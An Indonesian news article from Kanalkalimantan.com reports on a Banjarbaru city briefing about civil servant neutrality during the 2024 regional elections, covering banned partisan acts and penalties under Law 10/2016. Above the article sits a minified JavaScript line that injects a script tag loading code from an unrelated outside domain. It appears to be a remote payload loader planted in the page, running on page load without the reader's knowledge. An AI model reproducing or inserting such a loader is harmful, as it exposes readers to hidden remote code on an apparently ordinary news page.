(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Netralitas Aparatur Sipil Negara (ASN) selalu menjadi isu dan potensi pelanggaran dalam setiap gelaran kontestasi pemilihan.
Demi menjaga netralitas dan profesionalisme ASN, Pemerintah Kota Banjarbaru menggelar sosialisasi pelaksanaan pembinaan dan pengembangan karier jabatan ASN pada masa Pemilihan Kepala Daerah (Pilkada) Serentak 2024, di Aula Gawi Sabarataan, Kamis (3/10/2024).
Kegiatan yang digelar Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) Kota Banjarbaru ini untuk memastikan seluruh ASN tetap menjaga netralitas, integritas, dan profesionalisme selama proses Pilkada 2024 berlangsung.
Baca juga: Paman Birin Lakukan Peletakan Batu Pertama Gedung KPU dan Bawaslu Kalsel
Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani saat acara mengatakan, kegiatan ini berfokus pada netralitas ASN lingkup Pemerintah Kota Banjarbaru.
ASN di lingkungan Pemko Banjarbaru harus memahami peran dan tanggung jawab mereka dalam menjaga netralitas, dan mengembangkan karier di tengah dinamika politik lokal yang terjadi.
“Seluruh ASN Pemko Banjarbaru harus bersikap netral. ASN tidak boleh bersikap, bertindak, dan berkeputusan menguntungkan atau merugikan salah satu pasangan calon (Paslon, red) kepala daerah,” ujar Pjs Wali Kota Nurliani.
Baca juga: Tradisi Baayun Maulud Museum Lambung Mangkurat, Meneladani Nabi Sejak Dini
ASN dilarang melakukan tindakan keberpihakan kepada Paslon, misalnya memasang foto bersama salah satu Paslon, berkomentar di akun sosial media dan mendukung program dari Paslon. Sebab kata dia, hal itu bisa saja menunjukkan asumsi keberpihakan kepada salah satu pasangan calon.
“Termasuk juga memasang foto, program unggulan Paslon di status WhatsApp selama masa kampanye,” katanya.
Sikap netralitas ini juga harus dilakukan oleh tenaga honorer (Non ASN) yang bertugas di Pemko Banjarbaru.
Baca juga: Pendaftaran PJA 2024 Berakhir 31 Oktober, Kirimkan Karya Jurnalistik Terbaikmu!
“Pjs Wali Kota pun harus menjaga hal tersebut, jika ada undangan dari salah satu Paslon tentu saya harus koordinasi ke Bawaslu dan Tim Netralitas ASN,” tegasnya.
Pjs Wali Kota mengingatkan sanksi yang dapat dijatuhkan atas pelanggaran netralitas ASN berupa sanksi kode etik hingga pidana. Sanksi tersebut termuat dalam UU No 10 tahun 2016 yang berbunyi, “Barang siapa yang melanggar pasal 71 sesuai dengan pasal 188 itu akan dikenakan tindak pidana paling sedikit 1 bulan sampai 6 bulan”. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.